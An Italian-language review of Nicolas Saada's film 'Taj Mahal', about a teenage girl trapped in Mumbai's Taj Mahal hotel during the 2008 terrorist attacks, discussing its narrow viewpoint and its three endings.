Taj Mahal di Nicolas Saada

Il 26 novembre 2008 nella città di Mumbai in India si sono svolti una serie di 10 attacchi terroristici di matrice islamica avvenuti simultaneamente. In totale si sono contate più di 195 vittime, circa 300 feriti, la maggior parte Indiana e 22 stranieri. Dopo circa 60 ore gli scontri si sono conclusi con un sanguinoso blitz per la liberazione del prestigioso Hotel Taj Mahal, dove si erano asserragliati i terroristi.

Il film di Nicolas Saada, presentato nella sezione Orizzonti, parte proprio dall’esperienza personale di una delle vittime:  un’adolescente anglo-francese non molto simpatica, Louise (interpretata da Stacy Martin), che accompagna i genitori in India durante un viaggio di lavoro. Seguiamo passo, passo le sue vicende, il susseguirsi di giornate un po’ noiose e molto solitarie in un luogo a lei sconosciuto, Mumbai, e in un non luogo freddo e asettico, l’Hotel Taj Mahal. Poco interessata sia a cosa c’è la fuori, che alla vita mondana, Louise si immerge in molti film, e libri ‘intellettuali’ (Pasolini). Una notte però, mentre è in camera da sola a guardare uno dei suoi film,i terroristi irrompono nell’Hotel…da lì in poi la vacanza noiosa diventerà una lotta per la sopravvivenza.

Il regista è molto lontano dal voler far un film del genere catastrofico  (disaster movie) mentre descrive con buon ritmo e molta minuzia le vicende dell’attentato attraverso due soli punti di vista, quello di Louise intrappolata nella sua camera d’albergo e quello dei suoi genitori bloccati all’esterno poichè non possono accedere all’Hotel. Non c’è una visione totale sulla vicenda (se non forse nel primo finale),  nemmeno sappiamo chi siano gli attentatori, si opera un’abbassamento dello spettatore al livello di un’adolescente che non sa come fronteggiare quello che le sta accadendo mentre i genitori sono focalizzati sul salvarla prima che l’Hotel vada completamente a fuoco. Solo nel momento in cui questo binomio  estremamente chiuso (Louise e i genitori con i loro telefoni cellulari) si apre ad altri personaggi reali si coglie la speranza di un finale ‘positivo’.

Il film si conclude con tre possibili finali e questo forse è eccessivo perché basterebbe il terzo per dare un senso alla vicenda e farne un apologo sulla solitudine degli individui nella società occidentale, al di là di quello che è comunque il senso generale del film, che vuole richiamare l’attenzione sulle vittime del terrorismo.

 

 

 

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